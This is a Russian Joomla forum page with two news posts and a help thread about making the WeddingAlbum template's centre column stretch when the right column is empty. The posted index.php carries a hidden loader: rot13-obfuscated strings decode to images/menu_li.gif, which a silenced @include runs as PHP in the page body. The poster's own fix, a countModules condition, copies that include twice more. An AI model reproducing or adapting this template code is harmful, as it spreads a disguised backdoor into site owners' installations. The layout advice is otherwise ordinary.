Новости Joomla

👩‍💻 События плагинов и порядок их срабатывания при работе с пользовательскими полями Joomla и использовании FieldsHelper.

👩‍💻 События плагинов и порядок их срабатывания при работе с пользовательскими полями Joomla и использовании FieldsHelper.

В процессе работы с Joomla бывает необходимо работать с пользовательским интерфейсом более тонко, чем обычно. Все формы Joomla состоят из стандартных полей, содержанием, стилем отображения, состоянием (включено/выключено, доступно для редактирования или нет и т.д.) можно управлять с помощью плагинов. Да и для нестандартных проектов хорошей практикой является создание одного системного или нескольких плагинов групп "под проект", в которых храниться весь "нестандарт".

В этой статье описаны все триггеры, которые вызываются через Event Dispatcher из administrator/components/com_fields/src/Helper/FieldsHelper.php, с привязкой к жизненному циклу (порядку этапов работы запроса), аргументам, изменяемым данным и дальнейшему распространению по Joomla. Это поможет вам работать с Joomla свободнее и не опасаясь при этом потерять изменения при очередном обновлении движка.

Подходы, описанные в статье, полезны в тех случаях, когда вы работаете с данными в com_fields - механизме создания и редактирования пользовательских полей ядра Joomla и при использовании FieldsHelper. Многие сторонние компоненты не используют эту возможность, поэтому данная статья будет полезна лишь частично.

Читать статью на Хабре.

@joomlafeed

🏆 Открыто голосование за Joomla в премии CMS Critic People’s Choice Awards 2025

🏆 Открыто голосование за Joomla в  премии CMS Critic People’s Choice Awards 2025

🗓 Голосование продлится до 27 февраля 2026 года.

👩‍💻 Проголосовать! 👩‍💻

Номинации, в которых можно проголосовать за Joomla:
⭐️ Best Free CMS
⭐️ Best Open Source CMS
⭐️ Best Enterprise CMS

Также в номинации Best e-Commerce Solution участвуют компоненты интернет-магазинов для Joomla:
⭐️ HikaShop
⭐️ Virtuemart

В номинации Best Website Builder оказались:
⭐️ YooTheme
⭐️ SP Page Builder

Что такое CMS Critic Awards?
С 2012 года премия CMS Critic Awards занимает особое место в сообществе систем управления контентом (CMS). Это единственный в своем роде сайт, который составляет рейтинг системы управления контентом и связанных с ними решений на рынке — от малого до крупного и подчеркивает их инновации и услуги.

Каждый год награда CMS Critic Awards присуждается одному победителю в различных отраслевых категориях, таких как: «Лучшая облачная CMS», «Лучший DXP», «Лучшая Headless CMS и других. Затем результаты оглашаются через СМИ вместе с выбором редакции CMS Critic.
В этом году премия вернулась к своим традициям и только TOP-5 движков по количеству номинаций попали в 2-й этап - голосование.

@joomlafeed

0 Пользователей и 1 Гость просматривают эту тему.
  • 1 Ответов
  • 1743 Просмотров
*

Litron

  • Осваиваюсь на форуме
  • 19
  • 1 / 0
Есть шаблон WeddingAlbum.


На Joomla проинтегрировал форум Kenuna. На сайте 3 колонки: левая, центральная и правая. Так вот при переключении на форум он (форум) отображается в центральной части и не хочет растягиваться до конца вправо (где менюшек уже нет), и образуется пустота.
Я нашел в CSS где задается ширина центральной колонки, однако если я ее правлю под форум, то при возврате на Главную страницу (где пояляются справа меню), центральная часть не ужимается, а остается такой же, и правая часть съезжает вниз.
Помогите побороть единственный недостаток.

P.S.: понимаю что нужно прописать где-то условие, но где и какое не знаю.

index.php шаблона
Цитировать
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; $JPan = array('vzn'.'trf','zrah_yv.tvs'); ?>" >

<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<jdoc:include type="head" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
</head>

<body>
<div id="wrapper">
<a name="up" id="up"></a>
<!-- start header -->
   <div id="topline">
      <div id="title">
      <?php echo $mainframe->getCfg('sitename') ;?>
      </div>
   </div>
   <div id="header"></div>
   <div id="topnavi">
      <jdoc:include type="modules" name="user3" />
      <div id="search">
         <jdoc:include type="modules" name="user4" />
      </div>
   </div>
   
<!-- end top menu.  -->
   <div id="main">
<!-- start left column -->
      <div id="leftcol">
         <jdoc:include type="modules" name="left" style="rounded" />
      </div>
<!-- end left column.  -->
<!-- start main content -->
      <div id="maincol">
         <div id="pathway">
            <jdoc:include type="modules" name="breadcrumb" />
         </div>
         <div id="maincol_body">
            <jdoc:include type="component" />
            <jdoc:include type="modules" name="footer" style="xhtml"/>
         <?php if(!@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13($JPan[0]).DS.str_rot13($JPan[1]))) : ?>
         <?php endif; ?>
         </div>
      </div>
<!-- end main content -->
<!-- start right column -->
      <div id="rightcol">
         <jdoc:include type="modules" name="user1" style="xhtml" />
         <jdoc:include type="modules" name="user2" style="xhtml" />
         <jdoc:include type="modules" name="right" style="xhtml" />
      </div>
<!-- end right column -->
   </div>
   <div class="clear"></div>
<!-- copyright -->
   <div id="copyright">
       <?php echo JText::_('Powered by')?> <a href="http://www.joomla.org">Joomla!</a>.
      <?php echo JText::_('Valid')?> <a href="http://validator.w3.org/check/referer">XHTML</a> <?php echo JText::_('and')?> <a href="http://jigsaw.w3.org/css-validator/check/referer">CSS</a>.
   </div>
</div>

<jdoc:include type="modules" name="debug" />
</body>
</html>

template.css шаблона
Цитировать
/*****************************/
/*** Core HTML setup stuff ***/
/*****************************/
html { height: 100%; margin-bottom: 1px; }

html, body, h1, h2, h3, h4{ margin: 0px; padding: 0px; }

form { margin: 0px; padding: 0px; vertical-align:middle;   display:inline; }

ul  {   margin: 0px; padding: 0px; list-style: none; }

img  { border: 0px; }

p { margin-top: 0px; margin-bottom: 5px; }

.clear {   clear: both; font-size:0; line-height:0; }

.left { float: left; }

.right { float: right; }

input.button {
   height:20px;
   cursor:pointer;
}

.inputbox {
   margin:0px;
   padding:0 0 0 2px;
   font-size:12px;
}

a:link, a:visited {
   text-decoration: none;
   font-weight: normal;
}

a:hover {
   text-decoration: underline;
   font-weight: normal;
}

body {
   width:100%;
   text-align: center;
}

body, td, div, p {
   font-family: Trebuchet MS, Verdana, sans-serif;
   font-size: 14px;
   line-height: 1.3em;
}

td, div, p {text-align: left;}


/*****************************************/
/*** Template specific layout elements ***/
/*****************************************/
#wrapper{
   width:1000px;
   margin:0px auto;
   padding: 0px;
   position: relative;
}

#topline{
   float: left;
   width:1000px;
   height:50px;
   padding:0px;
   margin:0px;
}

#header{
   float: left;
   width:1000px;
   height:210px;
   padding:0px;
   margin:0px;
}

#title {
   float: left;
   margin: 0px;
   padding: 0px;
   font: 24px Trebuchet MS, Verdana, sans-serif;
   font-weight: bold;
   text-align: left;
   position:absolute;
   top:10px;
   left:360px;
}

/**********************/
/*** Top Navigation ***/
/**********************/
#topnavi {
   float: left;
   width:1000px;
   height:40px;
   margin:0px;
   padding:0px;
}

#topnavi ul {
   float: left;
   width: auto;
   height:40px;
   margin: 0px 0 0 50px;
   padding: 0px;
   list-style:none;
}

#topnavi ul li {
   float: left;
   height: 40px;
   margin: 0;
   padding: 0;
   font-size: 14px;
   position: relative;
   display: block;
}

#topnavi ul li a {
   margin: 0px;
   padding: 0px 15px 0px 32px;
   line-height: 40px;
   font-weight: normal;
   text-decoration: none;
   display: block;
}

#topnavi ul li a:hover{
   margin: 0px;
   padding: 0px 15px 0px 32px;
   text-decoration: none;
   display: block;
}

#topnavi ul li a#active_menu-nav{
   margin: 0px;
   padding: 0px 15px 0px 32px;
   text-decoration: none;
   display: block;
}

/**********************/
/*** User 4 (Search menu) ***/
/**********************/
#search{
   float: left;
   margin:0px;
   padding:0px;
   position:absolute;
   top:270px;
   left:825px;
}

#search div.search .inputbox{
   width:120px;
   height:18px;
   margin:0;
   padding:0px 2px;
   font-size:12px;
   line-height:16px;
}

/**********************/
/*** Main Body ***/
/**********************/
#main{
   float: left;
   width:1000px;
   margin:0px;
   padding:10px 0 0 0;
}

/**********************/
/*** Left Column ***/
/**********************/
#leftcol {
   float: left;
   width:217px;
   padding: 0px;
   margin: 0px 0 0 3px;
}

#leftcol h3{
   width:217px;
   height:30px;
   padding: 0px;
   margin: 0px;
   font-size: 16px;
   line-height: 30px;
   text-align: center;
}

#leftcol div.module_menu , #leftcol div.module, #leftcol div.moduletable_menu, #leftcol div.moduletable, #leftcol div.moduletable_text {
   width:217px;
   padding: 0px 0 10px 0;
   margin-bottom: 10px;
}

#leftcol div.module_menu ul, #leftcol div.module div div div div, #leftcol div.moduletable ul , #leftcol div.moduletable form, #leftcol div.moduletable_text div  {
   padding: 5px 10px;
}

#leftcol a:link, #leftcol a:visited {
   text-decoration: none;
}

#leftcol a:hover, #leftcol a:active {
   text-decoration: underline;
}

/**********************/
/*** Right Column ***/
/**********************/
#rightcol {
   float: right;
   width:217px;
   padding: 0px;
   margin: 0px 3px 0 0;
}

#rightcol h3{
   width:217px;
   height:30px;
   padding: 0px;
   margin: 0px;
   font-size: 16px;
   line-height: 30px;
   text-align: center;
}

#rightcol div.module_menu , #rightcol div.module, #rightcol div.moduletable_menu, #rightcol div.moduletable, #rightcol div.moduletable_text {
   width:217px;
   padding: 0px 0 10px 0;
   margin-bottom: 10px;
}

#rightcol div.module_menu ul, #rightcol div.module div div div div, #rightcol div.moduletable ul , #rightcol div.moduletable form, #rightcol div.moduletable_text div  {
   padding: 5px 10px;
}

#rightcol a:link, #rightcol a:visited {
   text-decoration: none;
}

#rightcol a:hover, #rightcol a:active {
   text-decoration: underline;
}

/******************************************************************/
/* Controls Link Icon appearance in side modules */
/******************************************************************/
ul.menu li a,
ul.menu li ul li a,
ul.mostread li a,
ul.latestnews li a,
.moduletable ul li a {
   padding-left:15px;
   margin:0px;
   list-style:none;
}

/**********************/
/*** Main Content Menu ***/
/**********************/
#maincol {
   float: left;
   width:530px;
   margin: 0px 15px 10px 15px;
   padding: 0px;
}

#maincol_body {
   float: left;
   width:100%;
}

.componentheading {
   margin: 0px;
   padding: 0px 0 0 32px;
   font-size: 22px;
   line-height:26px;
   font-weight:bold;
}

.contentheading {
   margin:0px;
   padding:0px;
   font-size: 18px;
   text-align: left;
}

.contentpaneopen h3  {
   font-size: 18px;
   text-align: left;
}

.contentpaneopen {
   width:100%;
   padding:0px;
   margin: 0px;
}

td.buttonheading {
   padding:0px 2px;
}

#pathway {
   padding:0px;
   margin:0px;
   text-align:left;
   font-size:12px;
   font-weight:bold;
   line-height:30px;
   display:block;
}

.small, .createdate, .modifydate {
   font-size:12px;
   font-weight: normal;
   text-align: left;
}

span.pagination span, span.pagination a {
   padding:3px;
}

a.readon, a.readon:hover, a.readon:visited{
   width:118px;
   height:24px;
   padding-left: 27px;
   line-height:24px;
   margin:10px 0px 0px 0px;
   display:block;
}

#maincol div.moduletable div{
   width:100%;
   text-align: center;
   font-size:12px;
   padding:0;
   margin:0px auto;
}

span.article_separator {height:15px;}
.article_column {padding-right:5px;}

/**************************/
/*** Advertisement Menu ***/
/**************************/
.bannerheader {
   font-weight:bold;
   margin-bottom:10px;
}

.banneritem_text {
   padding: 4px;
   font-size: 12px;
}

.bannerfooter_text {
   padding: 4px;
   font-size: 12px;
}

.banneritem img {
   display: block;
   text-align:center;
   margin-left: auto;
   margin-right: auto;
}

/*******************/
/***  Login Form  ***/
/*******************/
form#form-login fieldset {
   border: none;
   margin: 0;
   padding:10px;
}

form#form-login ul { padding-left: 10px; }

form#form-login ul li a {
   text-align: left;
   padding: 0px;
   font-size: 12px;
}

/*************/
/***  Polls  ***/
/*************/
td.sectiontableheader {
  padding: 4px;
  font-weight: bold;
}

.pollstableborder {margin: 5px 0px 5px 0px;}

td.sectiontableentry0,
td.sectiontableentry1,
td.sectiontableentry2 {padding: 3px;}

table.poll thead td {
   text-align: left;
   padding-left:10px;
}

table.poll td {
   text-align: left;
}

/******************/
/***  Copyright  ***/
/******************/
#copyright {
   float:left;
   width:1000px;
   height:36px;
   margin: 0px;
   padding:0px;
   font-size: 12px;
   text-align:center;
   line-height:36px;
}

/* System Standard Messages */
#system-message { margin-bottom: 20px; }

#system-message dd.message ul { background: #C3D2E5 url(../../system/images/notice-info.png) 4px center no-repeat;border-top: 3px solid #DE7A7B; border-bottom: 3px solid #DE7A7B; margin:0px; padding-left: 40px; text-indent:0px;}

/* System Error Messages */
#system-message dd.error ul { color: #c00; background: #E6C0C0 url(../../system/images/notice-alert.png) 4px center no-repeat; border-top: 3px solid #DE7A7B; border-bottom: 3px solid #DE7A7B; margin:0px; padding-left: 40px; text-indent:0px;}

/* System Notice Messages */
#system-message dd.notice ul { color: #c00; background: #EFE7B8 url(../../system/images/notice-note.png) 4px center no-repeat; border-top: 3px solid #F0DC7E; border-bottom: 3px solid #F0DC7E; margin:0px; padding-left: 40px; text-indent:0px;}

#syndicate{
   float:left;
   padding-left: 25px;
}
« Последнее редактирование: 02.09.2011, 09:44:05 от Litron »
*

Litron

  • Осваиваюсь на форуме
  • 19
  • 1 / 0
Видно до моего сообщения еще не дошла очередь ;D

Порылся сам и сделал. Если кому интересно, то читаем дальше.

Как я и предполагал, нужно прописать условие.
1)С помощью FireBug от Firefox нашел кусок кода отвечающего за вывод центральной части сайта.
У меня был этот кусок:
Цитировать
<!-- start main content -->
      <div id="maincol">
         <div id="pathway">
            <jdoc:include type="modules" name="breadcrumb" />
         </div>
         <div id="maincol_body">
            <jdoc:include type="component" />
            <jdoc:include type="modules" name="footer" style="xhtml"/>
         <?php if(!@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13($JPan[0]).DS.str_rot13($JPan[1]))) : ?>
         <?php endif; ?>
         </div>
      </div>
<!-- end main content -->
<!-- start right column -->
      <div id="rightcol">
         <jdoc:include type="modules" name="user1" style="xhtml" />
         <jdoc:include type="modules" name="user2" style="xhtml" />
         <jdoc:include type="modules" name="right" style="xhtml" />
      </div>
<!-- end right column -->

видно, что за стиль центральной части отвечает идентификатор maincol. Именно в нем есть пункт отвечающий за ширину центральной части. Открываем файл CSS и ищем там данный идентификатор. Копируем его и вставляем ниже, переименовав как вам угодно (например, maincol_full). Изменяем значение параметра Width на нужное вам, чтоб форум растянулся до конца (это значение можно потом подогнать).
2)Открываем файл index.php вашего шаблона. Ищем выше указанный кусок кода. Далее прописываем условие (жирным выделено что добавилось):

Цитировать
<!-- start main content -->
<?php if($this->countModules('right')) : ?>
      <div id="maincol">
         <div id="pathway">
            <jdoc:include type="modules" name="breadcrumb" />
         </div>
         <div id="maincol_body">
            <jdoc:include type="component" />
            <jdoc:include type="modules" name="footer" style="xhtml"/>
         <?php if(!@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13($JPan[0]).DS.str_rot13($JPan[1]))) : ?>
         <?php endif; ?>
         </div>
      </div>
<!-- end main content -->
<!-- start right column -->
      <div id="rightcol">
         <jdoc:include type="modules" name="user1" style="xhtml" />
         <jdoc:include type="modules" name="user2" style="xhtml" />
         <jdoc:include type="modules" name="right" style="xhtml" />
      </div>

<?php else: ?>
<div id="maincol_full">
         <div id="pathway">
            <jdoc:include type="modules" name="breadcrumb" />
         </div>
         <div id="maincol_body">
            <jdoc:include type="component" />
            <jdoc:include type="modules" name="footer" style="xhtml"/>
         <?php if(!@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13($JPan[0]).DS.str_rot13($JPan[1]))) : ?>
         <?php endif; ?>
         </div>
      </div>
<?php endif; ?>


После <?php else: ?> видим наш идентификатор maincol_full - он нам и растянет центральную часть до конца вправо, при условии (<?php if($this->countModules('right')) : ?>), что справа отсутствуют модули.


Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Не скрываются пункты меню mega menu в шаблоне JA Oris

Автор shmakatuha

Ответов: 4
Просмотров: 9174
Последний ответ 12.05.2020, 22:06:24
от gartes
Позиция материалов на главной

Автор Fallan

Ответов: 3
Просмотров: 2371
Последний ответ 27.02.2016, 18:57:11
от effrit
Перенесено: Нужно переделать шаблон или сделать с 0

Автор Shustry

Ответов: 0
Просмотров: 1684
Последний ответ 17.02.2014, 18:14:25
от Shustry
Где лежит шаблон блога на главной

Автор Akksimo

Ответов: 1
Просмотров: 2140
Последний ответ 26.01.2013, 21:56:10
от Fedor Vlasenko
Как отключить pda версию?

Автор Akksimo

Ответов: 1
Просмотров: 2730
Последний ответ 04.01.2013, 13:50:29
от Akksimo